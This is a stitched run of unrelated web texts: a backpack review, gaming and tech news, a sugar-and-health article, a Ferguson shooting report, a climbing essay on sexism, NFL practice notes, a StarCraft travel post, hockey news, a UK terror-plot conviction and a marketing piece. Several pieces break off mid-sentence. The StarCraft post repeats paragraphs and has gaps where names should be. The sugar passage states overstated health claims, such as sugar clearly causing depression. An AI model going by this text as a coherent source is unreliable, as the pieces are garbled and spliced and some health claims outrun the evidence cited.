Drink tube is not long enough for use with the clip in the factory position, and due to the sternum strap, which is also not in the right position, you have to make the choice between unclipping the drink tube and using the sternum strap. There are solutions to this as well, but it is something that should have been fleshed out by the manufacturer.
The pressurization tube is too easy to catch when putting on the pack and separating it from the inflation ball means that you lose all your pressure, fast. The upside is that you can easily thread it through the strap and solve this. Just should have been done already.
Other thoughts: Buy the tube garage at the same time that you buy the pack. It is worth it. It eliminates the clip/sternum strap issue, makes the backpack more useable in civilized areas by hiding the drink tube, and insulates/protects everything past your pack.
Conclusion: A great pack after some customization. Some choices are questionable, mostly in implementation, but the material is there. If I were rating the designer of the pack I might have given 3-4 stars rather than 5, but all things said and done this pack has some serious potential. Spend a little time getting to know it before heading out with it and you won't be disappointed.Final Fantasy XIV Update 4.1 Coming Early October with Ivalice Raid; Tons of Info Announced
Giuseppe Nelva September 2, 2017 3:31:13 AM EST
Final Fantasy XIV got a lot of new information and images about update 4.1 "The Legend Returns" and the new raid set in Ivalice.
Today, during a Letter from the Producer Live broadcast, Final Fantasy XIV Producer and Director Naoki Yoshida and Global Community Producer Toshio Murouchi were joined by Legendary Final Fantasy XII and Final Fantasy Tactics Director Yasumi Matsuno to present the first information on update 4.1.
First of all, we learn that patch 4.1 is going to be titled “The Legend Returns,” and it’s going to be released in early October.
The update is going to include the continuation of the main scenario quest, new sidequests (including more for Hildibrand), new beast tribe quests focused on the Kojin, a new instanced dungeon titled the Drowned City of Skalla, a new primal battle (Shinryu extreme mode).
Below you can see the first screenshots of the new dungeon and of the new primal battle.
We’re also getting new PvP content titled “Rival Wings,” which is a 48-man training battle between two teams of 24. It will include Illuminati mechas. This will actually come in patch 4.15.
The battle system will be updated with older alliance raids to be added to the duty roulette. Alliance size will also become unrestricted.
The Lost Canals of Uznair will get new maps leading to deeper levels. New monsters and treasures will of course be included.
The adventurer squadron feature will be updated, and you’ll be able to bring your squadron in dungeons. Of course the NPCs won’t be as strong as other players. Level cap will |
negatively to cardiovascular health.
Most adults in America consume more than 10% of their calories from sugar - which is a bad sign for health. There has been a positive correlation between high sugar intake and cardiovascular disease for years.(7) Quitting sugar has been shown to be more effective at improving heart health than lowering salt intake. A lot of the blame placed on sodium intake is actually caused by excessive sugar.(8) 2. Quitting sugar improves efforts to lose weight Sugar is one of the most notorious causes of obesity in the entire world.(9) Since refined sugars are simply energy with no nutrients, your body doesn’t gain anything from consuming them. Unless you’re planning to do a ton of running after eating your sugar, all that converted energy is just going to sit in your body. Unused energy is eventually stored as fat, leading to obesity. Children who quit sugar for as few as three days showed significant improvement in regards to their weight and overall health. Here is the data that shows that intake of sugar should be closely regulated because the effect it can have on a person’s weight can strike quickly and strike hard.(10) 3. Quitting sugar can improve skin texture and appearance Recent studies show that there are a number of symptoms of diabetes that make themselves visible on the skin.(11) One of the most dangerous and well-known side-effects of eating too much sugar is diabetes. If you’re eating too much sugar, you may start to see a number of symptoms that lead to diabetes, including:
Yellow or red patches of skin
Thickening skin
Blisters
Skin spots or bumps
While these symptoms are for the more severely afflicted, it’s good to catch them ahead of time and try to prevent them. Sugar also increases the speed of glycation, a process which makes the skin age faster. Tossing sugar from your diet will keep you looking young for longer!(12) 4. Being sugar-free can improve depressive symptoms As mentioned before, sugar is an addictive substance. It’s addictive because it stimulates certain pleasure centers in the brain. It also has a bit of depressive crash, leaving the person wanting or craving more sugar. Sugar has been positively linked to depression for some time, but it was unsure whether the sugar causes depression or if depressed people just like to eat sugar.(13) It’s clear now that sugar can be a major cause of depression - even just having your drinks sweetened can lead to depression. 5. You will feel more energetic without sugar Another reason sugar is so addictive is because it provides a short burst of energy. Like the burst of mood, it can provide, the energetic feeling will also be followed by a crash. This will leave you feeling lethargic and unmotivated.(14) With regular consumption of sugar, the feelings of laziness begin to overpower the energy boost. You’ll become dependent on sugar to even feel normal, and this will lead to excessive consumption, less energy, and the risk of obesity.(15) 6. Quitting sugar improves cholesterol level Sugar has now been shown to increase the levels of cholesterol in your body. It inhibits your body’s ability to clear cholesterol.(16) Removing sugar from your diet will make a significant improvement in the levels of your cholesterol. 7. Quitting sugar makes you more confident With the huge number of medical conditions that excessive sugar consumption can cause, it’s no surprise that quitting sugar can make someone more confident.(17)The officer who shot and killed Michael Brown was unaware the unarmed black teenager was a suspect in a convenience store robbery earlier that day, and had stopped Brown and his friend because they were walking in the middle of the street blocking traffic.
"[The robbery] had nothing to do with the stop," Ferguson, Mo., police Chief Thomas Jackson told reporters.
"They were walking down the middle of the street, blocking traffic, that was it," he said.
Asked why the police released details of the robbery if stopping Brown had nothing to do with that case, Jackson said "because the press asked for it."
The family of Brown said allegations that he had stolen a box of cigars from a convenience store and pushed a clerk earlier that day do not justify the "execution-style murder" of the unarmed black teenager by a police officer.
"Michael Brown's family is beyond outraged at the devious way the police chief has chosen to disseminate [piecemeal] information in a manner intended to assassinate the character of their son, following such a brutal assassination of his person in broad daylight," the family said in a statement, released by their lawyers.
On Friday, the Ferguson, Mo., community learned the shooting officer's name -- Darren Wilson, a 28-year-old white officer who has spent the last six years patrolling the St. Louis suburbs. (Lucas Jackson/Reuters)
"There is nothing based on the facts that have been placed before us that can justify the execution-style murder of their child by this police officer as he held his hands up, which is the universal sign of surrender."
Earlier Friday, Jackson identified Darren Wilson as the six-year police veteran who shot 18-year-old Brown, in an incident that has sparked several days of clashes with furious protesters.
Wilson spent the first two years of his career with the police department in nearby Jennings, Mo., before moving on to Ferguson for the past four years. Ferguson's police force is nearly all-white. The town's population is about 70 per cent black.
But police also released documents alleging Brown and his friend, Dorian Johnson, had entered a convenience store in the St. Louis suburb of Ferguson, a community of 21,000, earlier that morning.
The documents allege Brown had taken the box of cigars, and as he left the convenience store, "aggressively" pulled the clerk towards him and then "immediately" pushed him "back to a display rack."
"The police strategy of attempting to blame the victim will not divert our attention, from being focused on the autopsy, ballistics report and the trajectory of the bullets that caused Michael's death and will demonstrate to the world this brutal execution of an unarmed teenager," the family said.
Images provided by the Ferguson Police Department show security camera footage from a convenience store in Ferguson, Missouri on the day that Michael Brown was fatally shot by a police officer. Police documents allege the footage shows a confrontation between Brown and an employee at the store. (Ferguson Police Department/Associated Press) In a news conference later in the day, Eric Davis, a cousin of Brown's mother, said the release of the information by police was "basically smoke and mirrors to try to divert attention from what happened."
He said it had nothing to do with Brown being down on his hands and knees, saying "Don't shoot."
Jackson said Wilson, along with other officers, were called to the area after a 911 call reporting a "strong-arm robbery" — a robbery with no weapons but use of physical force — at a nearby convenience store.
Before the identity of the officer was released, police had said Brown was shot after an officer encountered him and another man on the street. They say one of the men pushed the officer into his squad car, then physically assaulted him in the vehicle and struggled with the officer over the officer's weapon.
Shot fired inside car
At least one shot was fired inside the car. The struggle then spilled onto the street, where Brown was shot multiple times.
Previous Next Johnson, who says he was with Brown, has told a much different story. He has said the officer ordered them out of the street, then grabbed his friend's neck and tried to pull him into the car before brandishing his weapon and firing. He says Brown started to run and the officer pursued him, firing multiple times.
Johnson, Brown's friend, acknowledged to investigators that he and Brown were in the store and "that he did take cigarillos," his attorney, Freeman Bosley, told MSNBC. Bosley said he was aware of video but had not seen it.
Brown's death has sparked several days of clashes with furious protesters in the city. The mood quelled on Thursday after the governor turned oversight of the protests over to the state Highway Patrol. State troopers walking side-by-side with thousands of peaceful protesters replaced the image of previous nights: police in riot gear and armoured tanks.
Tensions in Ferguson boiled over after a candlelight vigil Sunday night, as looters smashed and burned businesses in the neighbourhood, where police have repeatedly fired tear gas and smoke bombs.
By Thursday, there was a dramatic shift in the atmosphere after Gov. Jay Nixon assigned protest oversight to Highway Patrol Capt. Ron Johnson, who is black and grew up near Ferguson. He marched alongside protesters.
On Friday night, the Rev. Jesse Jackson linked arms with protesters as they marched to the site where Brown was killed. Jackson bent over in front of a memorial cross and candle and sighed deeply. He urged people to "turn pain into power" and to "fight back, but not self-destruct" through violence.
The scene was eclectic Friday night as hundreds gathered for a sixth straight evening. A man on a bullhorn called for a revolution. A young man waved a Bible while citing scripture. Some took selfies in front of a convenience store that had been burned by looters Sunday. Boys tossed a football, and horns and loud music blared.
Also Friday, the Justice Department confirmed in a statement that FBI agents had conducted several interviews with witnesses as part of a civil-rights investigation into Brown's death. In the days ahead, the agents planned to canvass the neighborhood where the shooting happened, seeking more information, the statement said.We at Touchstone Climbing want to provide our readership with insightful, relevant writing from our members and the climbing community. We hope that this article inspires thoughtful conversation. Please note that the views expressed here do not necessarily reflect the views held by Touchstone Climbing.
By Georgie Abel
“You’re pretty strong for a girl,” he says to me. I clench my jaw. I’m sitting around a campfire in the Buttermilks with three of my closest male friends. The apparent attempt at a compliment comes from a guy we met earlier that day. The space between my shoulder blades aches from multiple burns on my project and I’m mentally exhausted. I tilt my beer back, trying to muster the energy to come back with some witty response, even though I just want to pretend I’m one of those girls who isn’t bothered by a comment like that. My eye catches a glance from one of my friends. His brow furrows and his mouth looks tight, he does not approve of what the dude said. I know in that moment that I shouldn’t either.
“That’s a really weird thing to say,” I say to the guy. “That compliment was spiked with something that feels pretty demeaning.” My friend’s face softens and he nods, the other guy doesn’t know what to say. He doesn’t climb with us the next day.
Being a climber and a writer naturally makes me a curious person. Being a woman in a sport that is ruled (for the most part) by men makes for a lot of gender-related experiences, all of which I find to be really interesting. I knew that other female climbers were interested in this too, and that they had stories of their own about being a woman in the bro’ed out world of rock climbing. I wanted to hear their stories. So, I asked.
I asked almost 100 female climbers of varying ages and ability levels to tell me a story about a notable experience they had while climbing with a male. Most of the women are from the San Francisco Bay Area, some are from elsewhere in the United States, and a few are from overseas. I have kept their names anonymous, mostly for the sake of the men who their stories are about.
I have arranged this article in the same manner that the responses were received. Initially, I was told about moments when women felt degraded, looked down upon, or judged. Then, slowly, the positive stories started coming in—stories of empowerment, inspiration, and recognition. You’ll find those accounts toward the end of the article. No matter the age, strength, or experience level of the woman, the themes of their negative experiences could easily be grouped under a few main categories. I decided to share only a fraction of the stories I received, selecting the ones I did because they echoed what many other women had expressed, or because they were particularly hilarious.
These are the true stories of female climbers—from five-year old girls who only climb the routes in the gym that have purple tape, to professional female climbers who have established routes on multiple continents, competed for national titles, and ticked countless 5.14s. And of course, all of us in between.
Here is what we’ve experienced while climbing with the boys.
Making Assumptions
There was no conversation about who would lead what pitch, he just assumed I didn’t want to lead at all.
He told me not to worry because there were some smaller, easier boulders down the hill, unaware that I was completely comfortable with highballs and trying hard boulder problems.
He set up a top rope on a climb I had led as a warm up several times in the past and told me it would be a little heady for me.
He kept on shouting beta to me on a climb that was like five V-grades below what I usually climb.
This guy was spotting me on Acid Wash, a really low climb in the Happy boulders. I really didn’t want a spot because it’s so low and I had enough pads, and he wasn’t spotting any of his guy friends.
One time a boy said I probably couldn’t do the one he did because I don’t play any sports.
All of my friends had to leave Smith, so I met up with this guy who was a mutual friend. I had never climbed with him before. We got to the wall and he started teaching me how to tie a figure eight knot. This was the day after I sent my first 5.13.
Discouraging women from trying hard, heady, or powerful climbs
He told me I should stick to vertical climbing because girls aren’t built to climb anything steep.
We were climbing at the Red and he said I shouldn’t try anything in the Motherlode because women don’t usually like those kinds of routes.
My boyfriend was belaying me on Pope’s Crack in Joshua Tree and some random guy walked past him and said, “Bro, I hope you know this isn’t one of those easy climbs. She probably shouldn’t be on that.”
The same dude at Dogpatch tells me not to even attempt a problem because it’s too hard for me because I’m short.
I like climbing with girls because they say, “Good job! You’re almost there!” And they cheer me on. Boys don’t usually say that stuff.
A guy told me I probably shouldn’t try any highballs because women are all afraid of heights, and the only reason why they climb heady stuff is because they want to be seen as a badass.
My climbing partner never encourages me to try anything harder than what he can climb.
One time this guy I barely knew told me that if I was going to try this certain route that I should be very careful because it’s sandbagged, has tricky pro, long runouts, and insecure feet. I did the route and yeah, it was hard, but none of what he said was true.
He discouraged me from climbing a certain boulder problem because he said if I sent it, it would probably get downgraded.
Being Bro-y, Cocky, or Douchy
When I said that I wanted to onsight a route he started racking the quickdraws onto his harness and said that putting up the draws was the only way he could control the situation of me leading.
One time at a birthday party there was a boy who climbed all the routes I couldn’t get to the top of and then he told me about it a lot.
He told me that I need to wear Lululemons to do a high step.
I was warming up in the gym and this guy started tickling me while I was climbing.
I don’t think I’ll want to climb with boys when I get older because I usually don’t like people who show their nipples in public.
About five other girls and I were trying Go Granny Go in the Buttermilks and this guy came and did it in his approach shoes and then did pull-ups on the finish jug.
When we were climbing in Joshua Tree he asked me and my friend if our boyfriends had given us enough pro for the climb we were about to do.
I climbed with a boy once and he got mad because he couldn’t get to the top.
I was climbing a boulder problem in the local climbing gym and about four guys were watching me climb, but none of them pulled the mats underneath me. I fell and landed on the floor, which is cement.
There is this one guy at the gym who follows me around and only climbs the boulder problems I try, even though he is much stronger than me.
One time one of the boys in my climbing camp was belaying me and I looked back at him and he wasn’t looking at me so I got really scared. I think he was looking at his friend doing a handstand.
Attributing our strength to something other than…our strength
I overheard a guy say that the only reason why this girl sent Tales of Power in Yosemite is because she has tiny hands.
He told me that I was better at slab climbing than him because having my center of gravity lower on my body gives me an advantage.
After I sent my project, he said that it was probably easier for me than him because I weigh less.
Whenever I send something that climbers typically think of as “girly” (slabby, balancy, delicate, or crimpy) he always mentions that I did it because I’m a girl.
If I can climb a crimpy boulder problem he can’t, he says it’s because I have small hands.
One time when I was climbing with a male, I suggested that we avoid a certain pitch because I had a bad feeling about it. It looked like it could be chossy and maybe even wet. We ended up doing a variation that led us to the left of the line we were originally planning to do, and as we climbed we could see that it was, in fact chossy and damp. He asked, “Who told you to avoid that pitch?” totally assuming that I couldn’t have predicted the bad conditions all on my own.
So there you have it. To be honest, when the stories started rolling in, I cringed a little (after laughing out loud in a coffee shop and nodding my head in agreement). I so badly didn’t want to write some man-hating article that bashed on dudes and didn’t address the fact that men can be valuable climbing partners. But, that’s not what I was hearing from the girls. I thought to myself: where are the stories of that time you sent your highball project because you had some burly dude spotting you? What about when that guy said, “You’re gonna crush this,” even after he flailed? What about when he asked you if you thought you guys should rappel down or walk off the back, because you’re always good at judging that kind of stuff? What about that time it wasn’t about gender at all, what about when it was just rock climbing?
Slowly, I started hearing about these experiences. I didn’t have to ask for them. It usually happened like this: a woman would tell me about a time a guy did something totally degrading, and then a few minutes or days later, she would come back and say something such as, But I have a lot of male climbing partners who don’t act like this. Many of them treat me no differently than their guy friends and recognize that I bring something unique and valuable to the table, that they can learn things from me that they can’t learn from male climbers.
Yes, how true that is: women experience this sport in a way that is so different from men, and we all have a lot to learn from each other. All of the negative stories were that of men assuming we had nothing to teach them. That’s the common thread.
I received one story about a positive experience while climbing with a male that captures the spirit and character of all the other stories as well. Here it is:
I’m all racked up. My shoes are on, uncomfortable as always. They feel tighter than normal. The brisk Squamish air bites at the back of my neck. I tuck the remaining stray pieces of hair behind my helmet. I take a deep breath and look up at my climb. I think of turning to my partner and telling him to go ahead. Tie in to the sharp end, I want to say. Lead this pitch. Lead all of the pitches. It’s not that hard. You’re much better than me anyways. My pride or my stubbornness stops me. My male counterpart is a much stronger climber than me and he’s much more experienced – perhaps not in trad climbing, but he’s certainly been exposed to (and excelled at) this sport much longer than I have. Squamish used to be his stomping grounds anyways and for more than one reason I feel like I haven’t earned my spot here. I feel pre-emptively embarrassed and also that I have something to prove. ‘You’ve got this,’ he tells me. Against almost exactly 50% of my will, I slip my hand into the crack. I make a fist and feel the granite against my knuckles. Right, I think. This is about climbing. Four pitches later and we’re at the top, looking over a beautiful deep blue sky filled with clouds and mountains. I stopped being concerned with if the climb was hard enough or if my technique was good enough a long time ago, somewhere on Pitch 1. I looked at my partner and his male-ness did not concern me, impress me, depress me, or intimidate me. In fact it did not enter into my mind at all. It was just beauty and human-ness that filled my soul now.
Weeks later we are sitting in his father’s kitchen, recounting details of our Canadian explorations. He says, completely seamlessly, that I’m actually the better climber in a lot of ways. I think he’s insane but that is beside the point. He tells of how he respects the way I push my limits, how I deal with my fear. He is being genuine. Honest. His ego isn’t in the room and though he could walk up boulder problems I could only dream of one day touching, he isn’t concerned with that. He’s not trying to prove anything. I didn’t need his validation; certainly not in the way that I as a female would want validation from a male. It’s not about who the better climber is and in what ways. It never really is about that, for me at least. I didn’t need his encouragement as a male, only as a climbing partner.
And yet. I have to admit that I’ve had enough experiences as a female climber that make me weary; weary of being judged, weary of being undervalued, weary of being categorized by something other than my experience or my ability. I’m not afraid because I’m a girl. I’m afraid because I’m 30 feet up on a highball and this crimp is fucking tiny. I’m not sending my projects – not because I’m a girl, but because I haven’t been training.
You can go ahead and include me in the list of people who would like to lead this pitch. I’m a girl and I’m also capable of placing gear. Sometimes those dynamics are real and sometimes they are imagined. But what a nice experience to have had a really lovely break from the chain of stereotypical bro-yness that can wear us ladies down sometimes. I’m sure we have our own stereotypes to break too. I’ve tried my best to let go of taking too seriously the gendered aspect of climbing now. There are those experiences that will reaffirm the great things about climbing with guys and there are the experiences that will inspire us to prove them wrong. It’s kind of a win-win if you ask me.
A sincere thank you goes to all of the women who contributed their stories. You are the authors of this article. I’ll leave you with more of their words; this is very important and overdue:
To the males respecting and encouraging the females out there, a big thank you. We know you need the respect and encouragement too and we’ve got your back.Left tackle George Fant had a really good day among other things we learned at Seahawks practice Thursday.
Here is what I learned at Seahawks practice today, the 10th of training camp.’
— The big news was an injury to Doug Baldwin. But as detailed here indications are that Baldwin was not seriously injured, the incident instead proving to be a scare as much as anything.
— The Seahawks also made one transaction on Thursday waiving linebacker Ronald Powell as injured and signing Christian French to take his place on the 90-man roster. French, who played at Oregon, has been with the Seahawks before initially signing as a rookie free agent following the draft in 2016 but then was waived as injured a few weeks later and spent some time on the Seahawks’ IR. French was then in Seattle’s rookie mini-camp in May 2017 as a tryout player but went unsigned. He had a workout with the Seahawks again this week and will now get another shot. He projects as a strongside linebacker/pass rush type. He is at 6-5, 249.
— With the first preseason game now roughly 72 hours away the offensive lines appearing to be settling in a little bit. The first team OL today was, left to right, George Fant, Luke Joeckel, Justin Britt, Mark Glowinski and Germain Ifedi. The second OL was, left to right, Rees Odhiambo, Jordan Roos, Joey Hunt, Oday Aboushi and Ethan Pocic. There’s probably a decent shot that’s how the Seahawks start out against the Chargers — today felt like the last real physical practice the team will have this week with the team usually tapering down after Thursday when they play on Sunday during the regular season which is also the scenario here. But it also wouldn’t be a surprise if we saw, say, Aboushi rotate in with Glowinski at right guard with the starting unit on Sunday. But for now, the other four spots on the line appear to be getting some consistency and the Seahawks will likely be looking for signs against the Chargers to try to start solidifying that alignment.
— Fant had a really good day in the one-on-one session of the pass rush drills, appearing by the consensus of those of us watching to win all four of his matchups — one against Cassius Marsh, two against David Bass and one against Quinton Jefferson.
— Marsh, though, also had a big win when he blew past Ifedi later in the drill. Marsh seems to be a somewhat underrated highlight player of camp. He got a lot of work today with the starting defense as a pass rusher and seems to be more consistently effective this season.
— The Seahawks had a pretty intense run drill about midway through — essentially going nine-on-nine with no receivers or corners on the field. The order of the tailbacks during that drill was: Thomas Rawls, Eddie Lacy, C.J. Prosise, Chris Carson, Alex Collins and Mike Davis. Tre Madden worked as a backup at fullback behind Marcel Reece.
— Madden had a nice catch over the middle of the field during a team goalline drill. He’d be a cheaper and younger option than Marcel Reece and the two are listed as the same weight — 235 — so he shouldn’t be discounted as having a chance to win that job.
— Amara Darboh had once nice catch early on but also had another instance that indicated rookie growing pains when he ran a go route while Russell Wilson thought he was running an out route. Wilson’s pass was almost picked off by Shaquill Griffin. Wilson ran over in Darboh’s direction clapping his hands and yelling “let’s go,’’ making a point while alternately encouraging
— A play or two later, another player having a nice camp stood out — J.D. McKissic — catching a touchdown pass from Wilson when he snuck behind the secondary and into the end zone. This time Wilson ran down the sidelines shouting “yeah’’ as he greeted McKissic. Later, Wilson praised McKissic when he met the media saying: “J.D. has been special. His work ethic, first of all, it starts with that. I think that with J.D. he’s super fast, super talented, can catch the ball really well, runs the ball really hard, too. He’s quick, he’s explosive and I think he’ll be a good addition to our football team. We’re excited to see him play this preseason and see what he can do.”
— Pocic again also played a significant amount of center — remember that there is always a lot of mixing and matching of the OL in different drills — and it’ll be interesting to see how much of that he does against the Chargers. As noted yesterday, if he shows he can play center – his primary position in college — that could mean the team doesn’t need to keep Joey Hunt as the backup there.
— Blair Walsh was 5-6 on live field goals during team drills hitting from 33, 38, 43, 37 and 33 and missing one from 37 which went just a tad left.
— It was another good day for undrafted free agent tight end Tyrone Swoopes, who like the rest of the backup TEs got a little extra work with Luke Willson being out. Swoopes ended practice with a diving catch on a fade route in the corner of the end zone on a nice ball from Trevone Boykin.
— Another TE having a nice day was Nick Vannett who caught passes on two straight plays during the team session.
— Undrafted free agent WR Darreus Rogers caught a touchdown in a team drill on a play in which he beat Neiko Thorpe, who stayed on his knees with his head in his hands in apparent frustration for several seconds afterward. Shaquill Griffin’s emergence has relegated Thorpe to a second-team role at cornerback at best.
— Terrence Garvin appeared to be the strongside linebacker with the starting defense most of the day.Marcin Gortat blocks shots for a living. He also blocks people on Twitter for quality of life.
In fact, Gortat’s blocked approximately 1,395 more people on Twitter than he has on the basketball court in his NBA career, according to his own estimation given on the radio Thursday with 106.7 The Fan’s Grant Paulsen and Danny Rouhier.
The topic was raised when, during the radio interview, a fan had requested of Paulsen, via Twitter, to ask for Gortat to unblock him.
@tdot82 What did you do to get blocked? — Grant Paulsen (@granthpaulsen) February 19, 2015
Here’s what that fan did to earn a block from Gortat.
And here’s how Gortat responded, before rejecting him into Twitter irrelevance.
“How hard is it to get blocked by Marcin Gortat on Twitter?” the big man was asked.
“How hard? Well, when the people are just saying just dumbass comments [sic],” he replied. “You ain’t gonna hurt my feelings if somebody said, you know, ‘Oh, that guy just dunked on you,’ or, ‘That guy dropped 20 on you.’
“Yeah, so you’re not gonna get blocked like that, you know what I’m saying? You’re gonna get blocked if you’re disrespectful. If you say something about me, you curse at my family, you say something about my family; it’s, ‘This is disrespectful.’ I don’t have to hear that.
“And I’m quite sure I have 2,000 people already blocked on my Twitter,” he estimated. “And probably 80 percent of them is from Chicago, unfortunately.”
Gortat explained he’d stopped reading Twitter for a stretch when his play began to decline this season, and only recently plugged back in to track NBA trade rumors. “There was a time when I was coming after the game, checking Twitter, and I see the guy saying something bad about me and my family,” he said. “And I’m like, ‘Oh, here we have another client who wants to join the happy group.'”
Gortat would also mention he has “probably about 300” of his own action figures in his possession, and, rather than leaving them to fill “pretty much every room” of his home, he has big time plans for what to do with them.
“The next move we want to do is, we want to go to PTI and we want to put those action figures actually behind those guys,” he said of ‘Pardon The Interruption’ hosts Michael Wilbon and Tony Kornheiser. “They have the bunch of action figures over there. We want to make sure that mine is sticking out right in front of the camera, so. … Yeah, it’s gonna be a big time.”
Follow Chris Lingebach and 106.7 The Fan.The Samsung Exynos 7420 chipset has been tested in the Geekbench 3 benchmark, likely residing in a prototype Galaxy S6 unit. The SoC aced the benchmark test scoring 5478 and 1520 points in the multi-core and single-core tests, respectively.
In comparison, the Exynos 5433 with 1.9GHz CPU clock scores on average 4000 points in the multi-core test. GeekBench reports that the CPU in the Exynos 7420 is clocked at 1.5GHz, but that's likely the speed of the slower, Cortex-A53 cores.
However, it's not all sunshine and roses, because the HTC Nexus 9 and the Nvidia Tegra K1 have a fighting change against the Galaxy S6 prototype that was likely the host of the Exynos 7420. In the single-core testing, the Tegra K1 and its dual-core 2.5GHz Denver CPU score 1895 points.
Additionally, the benchmark result page reports the test device to spot 3GB of RAM and run Android 5.0 Lollipop. Earlier, the Galaxy S6 was reported to also be available with 4GB of RAM. Further speculations suggest a 5.5-inch QHD (1440×2560 pixels) display, 20MP main camera, and 5MP front-facing snapper. We'll surely find out more about the Galaxy S6 during MWC 2015 in March.
Source | ViaCarltonBeener Profile Joined April 2012 United States 84 Posts Last Edited: 2013-02-08 01:53:35 #1
It was a little colder the next day, certainly a stark contrast to the days I spent on the beach in Hawaii before getting to Korea. My suitcase contained an odd mishmash of clothing, board shorts and base layers, tshirts and heavy jackets. I had slept in a bit, then took some time to unpack and find food. I will admit that when I travel, I often fall back on comfort food, and that most often comes in the form of fast food and western chain restaurants. It's easy to find and easy on the wallet. That's not to say I didn't eat a lot of Korean food, but KBBQ is much better with friends than on your own. I headed back to the GSL studio, this time with my gear. There were clearly more foreigners in the crowd that night, most I would assume there to support
I awoke early Friday morning to snow, just a light dusting, but more than I am used to living in Southern California. I finished editing my shots from the previous night, and then with plenty of time before the nights games, I made a trip to check out a Korean Costco and pick up food for my room. I had a stovetop, though it was small and the supplied pan was badly warped. It hindered my ability to cook as much as I had hoped but at least I would have some food on hand. After Costco I made a trip to COEX mall. COEX is a fairly large mall in Gangnam (yes THAT Gangnam), with all the requisite stores, restaurants, movie theater, aquarium, and kimchi museum. I wandered around long enough to waste some time and then headed back to GSL. I quickly fell into a routine for the days I went to Code S. Wake up, edit photos, get food, go to the studio, go home, rinse and repeat.
I made my way to the studio a little early on Tuesday the next week to say hi to
The next day I had to get started early because Code A qualifiers were running in the morning. I got to Sindorim Stadium at 11am to shoot that and then left a little early to get to MokDong for Code S. Wednesday had the largest crowd of the Ro32. There were seats set up in the lobby because there wasn't enough room in the studio. This was probably the night I was looking forward to the most.
steamrolled through his group. His medivac micro against
Friday was another packed house with the Frenchman Artosis,
I arrived at the studio late. My flight had only landed two hours prior, but I had to go to my hotel first to check in and drop off luggage. Unsure of how my first night would go, I opted to leave my cameras in my room. The weather was cold, but not like I expected. I suppose my Korean friends had hyped it up a bit too much. I followed the directions supplied on the Gom TV website and found the studio in no time. The studio itself is smaller than it appears on camera, but then all TV studios are. It is housed on the 2nd floor of a high school gym. Upon entering you will see the Korean casters on the right and English casters on the left, with the audience in the middle. Beyond all this are the player benches and booths. A large screen in the front of the room displays the Korean stream, while a monitor to the left of the crowd shows the English broadcast. I opted not to get the English broadcast headset, a wireless device provided to foreigners free of charge, as long as you have an ID to check it out. Hot 6ix is also available but I gave up caffeine long ago. One night I saw a kid with 8 empty cans by his feet, I wasn't sure how he was still sitting down. I took a seat near the back to watch the final two matches. I regretted not having my cameras. MC advanced that night while Leenock, one of the favorites, did not. After the matches were over I made my way back to my hotel, almost an hour away by Subway, and quickly succumbed to my jet lag.It was a little colder the next day, certainly a stark contrast to the days I spent on the beach in Hawaii before getting to Korea. My suitcase contained an odd mishmash of clothing, board shorts and base layers, tshirts and heavy jackets. I had slept in a bit, then took some time to unpack and find food. I will admit that when I travel, I often fall back on comfort food, |
Finland, which went on to win the gold medal.
The Czechs will play all four of their preliminary round games at Toronto�s Air Canada Center, starting on Dec. 26 against Sweden. Their first chance to face either the U.S. or Canada won�t come until the quarterfinals.
The Czech players will make the best of being 6,000-plus miles from home on Christmas. �Last year we had the same situation. We�ll have a team dinner with Czech food, what we always eat for Christmas,� Pastrnak said, which means schnitzel, fish and potato salad will be on the menu.
�It�s good, like you are home with your guys. It�s kind of my family. We are one family and we want to be a good team,� he said.
The Hockey News WJC preview picks the Czechs for third, behind Canada and the United States.
The big question for the Bruins once the WJC ends on Jan. 5 is whether Pastrnak will spend the rest of the season in North America � with either Providence or Boston � or return to S�dert�lje in Sweden.
In the end, the choice is up to Pastrnak.
�We�ll certainly revisit it after the tournament, find out where he�s at,� said Sweeney.A woman who bought a combat knife and training dummy for her husband has been found guilty of helping him prepare for a planned terror attack in Birmingham.
Madihah Taheer, 21, from the city, denied preparing an act of terrorism by assisting her husband Ummariyat Mirza earlier this year.
Woolwich Crown Court heard the husband and wife team had developed their plans after falling in love as teenagers.
She has been remanded in custody and will be sentenced at a later date.
In March, armed police arrested the husband at gunpoint in Birmingham.
They acted on MI5 intelligence that Mirza was going to carry out a rampaging knife attack, similar to those seen this year in London.
His arrest on 29 March came exactly one week after the Westminster Bridge terror attack in London.
The court was told the pair had initially hoped to travel to Syria to aid the Islamic State group - but decided to carry out an attack in their home city instead.
West Midlands counter-terror officers said they discovered a list of potential targets, including military sites in the area.
Taheer also allowed her debit card to be used to buy a plastic knife and a lifelike training dummy so that her husband could practise an attack, the court heard.
The dummy was found in their home with slash marks on the forehead, across the throat and abdomen.
Image copyright WMP Image caption The court was shown the dummy Mirza made his wife buy, usually sold for use in martial arts
The jury at Woolwich Crown Court took less than a day to convict Taheer.
The jurors were shown a text message that Taheer sent to Mirza in September 2015, before the couple were married. "Can we get married already," she wrote. "I want u to kill ppl for me. I have a list."
The court was shown another message she sent to Mirza a month later, where Taheer said it was her "dream" to hurt or kill a person the pair both knew.
He responded by sending her a video of him making stabbing motions towards a chair - and asking her to buy him a knife.
Image copyright WMP Image caption Mirza made Taheer return the first dummy she purchased as it was not the model he wanted
Mirza, a former accountant, pleaded guilty to the plotting charge earlier this month, and is also due to be sentenced.
His older sister, Zainub Mirza, pleaded guilty in October to sending him terrorist material, including a video showing an IS hostage being beheaded.
Sue Hemming, of the Crown Prosecution Service, said the messages showed Taheer was a "willing accomplice" who knew what the knife would be used for.
She said: "This couple posed a serious threat to the public in Britain and now face the prospect of time in prison where they will no longer be a danger."What Makes Content Go Viral: Our Analysis Of 50 Million Articles
Almighty Press Blocked Unblock Follow Following Dec 30, 2016
Almighty.Press has been in development for the last 2 years and in that time we have collected a considerable amount of data. To celebrate our launch we have conducted some deep analysis of the data we collected in our development phase. We wanted to understand what makes content go viral and share these valuable insights with our clients. We recently analyzed 50 million popular articles from the past 2 years and compiled a report of our findings.
What did we learn? Well first of all, sorting data sets for that many articles into a manageable report is an absolute nightmare, luckily our development team consists of some pretty sharp people so we managed to get it done. Everything else? We have listed the 7 most vital things to take away from this report into something a little easier to digest than 50 million rows of raw data. Hopefully our analysis will give you the edge when planning your content strategy.
First of all you need to write compelling, actionable content. That kind of goes without saying. But in addition to writing amazing content, including these 7 factors will increase the chances of more social media shares.
1. People prefer sharing long articles
There is an assumption that because more people are consuming content on mobile devices, that we should create short content that’s quick to digest. It’s easy to check this assumption by looking at the numbers. We looked at the top 20% of articles in our database and according to our research its actually the opposite.
